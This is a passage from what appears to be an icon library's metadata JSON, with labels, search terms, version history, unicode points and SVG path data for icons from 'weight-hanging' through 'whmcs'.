5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"
      }
    },
    "free": ["brands"]
  },
  "weight-hanging": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5cd"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anvil", "heavy", "measurement"]
    },
    "styles": ["solid"],
    "unicode": "f5cd",
    "label": "Weight Hanging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 96a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm122.5 32c3.5-10 5.5-20.8 5.5-32c0-53-43-96-96-96s-96 43-96 96c0 11.2 1.9 22 5.5 32H120c-22 0-41.2 15-46.6 36.4l-72 288c-3.6 14.3-.4 29.5 8.7 41.2S33.2 512 48 512H464c14.8 0 28.7-6.8 37.8-18.5s12.3-26.8 8.7-41.2l-72-288C433.2 143 414 128 392 128H346.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 96a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm122.5 32c3.5-10 5.5-20.8 5.5-32c0-53-43-96-96-96s-96 43-96 96c0 11.2 1.9 22 5.5 32H120c-22 0-41.2 15-46.6 36.4l-72 288c-3.6 14.3-.4 29.5 8.7 41.2S33.2 512 48 512H464c14.8 0 28.7-6.8 37.8-18.5s12.3-26.8 8.7-41.2l-72-288C433.2 143 414 128 392 128H346.5z"
      }
    },
    "free": ["solid"]
  },
  "weight-scale": {
    "aliases": {
      "names": ["weight"],
      "unicodes": {
        "secondary": ["10f496"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["health", "measurement", "scale", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f496",
    "label": "Weight Scale",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 176a128 128 0 1 1 256 0 128 128 0 1 1 -256 0zM391.8 64C359.5 24.9 310.7 0 256 0S152.5 24.9 120.2 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H391.8zM296 224c0-10.6-4.1-20.2-10.9-27.4l33.6-78.3c3.5-8.1-.3-17.5-8.4-21s-17.5 .3-21 8.4L255.7 184c-22 .1-39.7 18-39.7 40c0 22.1 17.9 40 40 40s40-17.9 40-40z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 176a128 128 0 1 1 256 0 128 128 0 1 1 -256 0zM391.8 64C359.5 24.9 310.7 0 256 0S152.5 24.9 120.2 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H391.8zM296 224c0-10.6-4.1-20.2-10.9-27.4l33.6-78.3c3.5-8.1-.3-17.5-8.4-21s-17.5 .3-21 8.4L255.7 184c-22 .1-39.7 18-39.7 40c0 22.1 17.9 40 40 40s40-17.9 40-40z"
      }
    },
    "free": ["solid"]
  },
  "weixin": {
    "changes": ["4.1.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d7",
    "label": "Weixin (WeChat)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"
      }
    },
    "free": ["brands"]
  },
  "whatsapp": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f232",
    "label": "What's App",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"
      }
    },
    "free": ["brands"]
  },
  "wheat-awn": {
    "aliases": {
      "names": ["wheat-alt"]
    },
    "changes": ["6.0.0-beta1", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "autumn", "fall", "farming", "grain"]
    },
    "styles": ["solid"],
    "unicode": "e2cd",
    "label": "Wheat Awn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0L486.5 231c6.2-6.2 6.2-16.4 0-22.6L475.2 197c-5.2-5.2-10.6-9.8-16.4-13.9L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0L486.5 231c6.2-6.2 6.2-16.4 0-22.6L475.2 197c-5.2-5.2-10.6-9.8-16.4-13.9L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3z"
      }
    },
    "free": ["solid"]
  },
  "wheat-awn-circle-exclamation": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "affected",
        "famine",
        "food",
        "gluten",
        "hunger",
        "starve",
        "straw"
      ]
    },
    "styles": ["solid"],
    "unicode": "e598",
    "label": "Wheat Awn Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c22.5 22.5 53.3 31.5 82.4 27c0-1 0-2.1 0-3.1c0-33.1 9.1-64.1 25-90.6c-15.5-8.7-32.5-13.8-49.8-15.5l31.9-31.9 12.2 12.2c6 6 12.6 11.1 19.7 15.2c27.5-34 67.3-57.5 112.6-63.8c-4.1-3.8-8.4-7.3-12.9-10.5L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M505 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L383 95c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l88-88zM305.5 27.3c-6.2-6.2-16.4-6.2-22.6 0L271.5 38.6c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4-30.5 30.5c-3.4-27.3-15.5-53.8-36.5-74.8L101.8 231c-6.2-6.2-16.4-6.2-22.6 0L67.9 242.3c-37.5 37.5-37.5 98.3 0 135.8l10.4 10.4L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l68.9-68.9 12.2 12.2c37.5 37.5 98.3 37.5 135.8 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-21.8-21.8-49.6-34.1-78.1-36.9l31.9-31.9 12.2 12.2c22.5 22.5 53.3 31.5 82.4 27c0-1 0-2.1 0-3.1c0-33.1 9.1-64.1 25-90.6c-15.5-8.7-32.5-13.8-49.8-15.5l31.9-31.9 12.2 12.2c6 6 12.6 11.1 19.7 15.2c27.5-34 67.3-57.5 112.6-63.8c-4.1-3.8-8.4-7.3-12.9-10.5L505 137c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-59.4 59.4c-20.6-4.4-42-3.7-62.3 2.1c6.1-21.3 6.6-43.8 1.4-65.3L409 41c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L329.1 52.9c-3.7-5-7.8-9.8-12.4-14.3L305.5 27.3zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "wheelchair": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f193"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f193",
    "label": "Wheelchair",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM120.5 247.2c12.4-4.7 18.7-18.5 14-30.9s-18.5-18.7-30.9-14C43.1 225.1 0 283.5 0 352c0 88.4 71.6 160 160 160c61.2 0 114.3-34.3 141.2-84.7c6.2-11.7 1.8-26.2-9.9-32.5s-26.2-1.8-32.5 9.9C240 440 202.8 464 160 464C98.1 464 48 413.9 48 352c0-47.9 30.1-88.8 72.5-104.8zM259.8 176l-1.9-9.7c-4.5-22.3-24-38.3-46.8-38.3c-30.1 0-52.7 27.5-46.8 57l23.1 115.5c6 29.9 32.2 51.4 62.8 51.4h5.1c.4 0 .8 0 1.3 0h94.1c6.7 0 12.6 4.1 15 10.4L402 459.2c6 16.1 23.8 24.6 40.1 19.1l48-16c16.8-5.6 25.8-23.7 20.2-40.5s-23.7-25.8-40.5-20.2l-18.7 6.2-25.5-68c-11.7-31.2-41.6-51.9-74.9-51.9H282.2l-9.6-48H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H259.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM120.5 247.2c12.4-4.7 18.7-18.5 14-30.9s-18.5-18.7-30.9-14C43.1 225.1 0 283.5 0 352c0 88.4 71.6 160 160 160c61.2 0 114.3-34.3 141.2-84.7c6.2-11.7 1.8-26.2-9.9-32.5s-26.2-1.8-32.5 9.9C240 440 202.8 464 160 464C98.1 464 48 413.9 48 352c0-47.9 30.1-88.8 72.5-104.8zM259.8 176l-1.9-9.7c-4.5-22.3-24-38.3-46.8-38.3c-30.1 0-52.7 27.5-46.8 57l23.1 115.5c6 29.9 32.2 51.4 62.8 51.4h5.1c.4 0 .8 0 1.3 0h94.1c6.7 0 12.6 4.1 15 10.4L402 459.2c6 16.1 23.8 24.6 40.1 19.1l48-16c16.8-5.6 25.8-23.7 20.2-40.5s-23.7-25.8-40.5-20.2l-18.7 6.2-25.5-68c-11.7-31.2-41.6-51.9-74.9-51.9H282.2l-9.6-48H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H259.8z"
      }
    },
    "free": ["solid"]
  },
  "wheelchair-move": {
    "aliases": {
      "names": ["wheelchair-alt"]
    },
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "access",
        "handicap",
        "impairment",
        "physical",
        "wheelchair symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "e2ce",
    "label": "Wheelchair Move",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM204.5 121.3c-5.4-2.5-11.7-1.9-16.4 1.7l-40.9 30.7c-14.1 10.6-34.2 7.7-44.8-6.4s-7.7-34.2 6.4-44.8l40.9-30.7c23.7-17.8 55.3-21 82.1-8.4l90.4 42.5c29.1 13.7 36.8 51.6 15.2 75.5L299.1 224h97.4c30.3 0 53 27.7 47.1 57.4L415.4 422.3c-3.5 17.3-20.3 28.6-37.7 25.1s-28.6-20.3-25.1-37.7L377 288H306.7c8.6 19.6 13.3 41.2 13.3 64c0 88.4-71.6 160-160 160S0 440.4 0 352s71.6-160 160-160c11.1 0 22 1.1 32.4 3.3l54.2-54.2-42.1-19.8zM160 448a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM204.5 121.3c-5.4-2.5-11.7-1.9-16.4 1.7l-40.9 30.7c-14.1 10.6-34.2 7.7-44.8-6.4s-7.7-34.2 6.4-44.8l40.9-30.7c23.7-17.8 55.3-21 82.1-8.4l90.4 42.5c29.1 13.7 36.8 51.6 15.2 75.5L299.1 224h97.4c30.3 0 53 27.7 47.1 57.4L415.4 422.3c-3.5 17.3-20.3 28.6-37.7 25.1s-28.6-20.3-25.1-37.7L377 288H306.7c8.6 19.6 13.3 41.2 13.3 64c0 88.4-71.6 160-160 160S0 440.4 0 352s71.6-160 160-160c11.1 0 22 1.1 32.4 3.3l54.2-54.2-42.1-19.8zM160 448a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "whiskey-glass": {
    "aliases": {
      "names": ["glass-whiskey"],
      "unicodes": {
        "composite": ["1f943"],
        "secondary": ["10f7a0"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "bourbon",
        "drink",
        "glass",
        "liquor",
        "neat",
        "rye",
        "scotch",
        "shot",
        "tumbler",
        "tumbler glass",
        "whisky"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a0",
    "label": "Whiskey Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c-9.3 0-18.1 4-24.2 11.1S-1 59.4 .3 68.6l50 342.9c5.7 39.3 39.4 68.5 79.2 68.5h253c39.7 0 73.4-29.1 79.2-68.5l50-342.9c1.3-9.2-1.4-18.5-7.5-25.5S489.3 32 480 32H32zM87.7 224L69 96H443L424.3 224H87.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c-9.3 0-18.1 4-24.2 11.1S-1 59.4 .3 68.6l50 342.9c5.7 39.3 39.4 68.5 79.2 68.5h253c39.7 0 73.4-29.1 79.2-68.5l50-342.9c1.3-9.2-1.4-18.5-7.5-25.5S489.3 32 480 32H32zM87.7 224L69 96H443L424.3 224H87.7z"
      }
    },
    "free": ["solid"]
  },
  "whmcs": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40d",
    "label": "WHMCS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 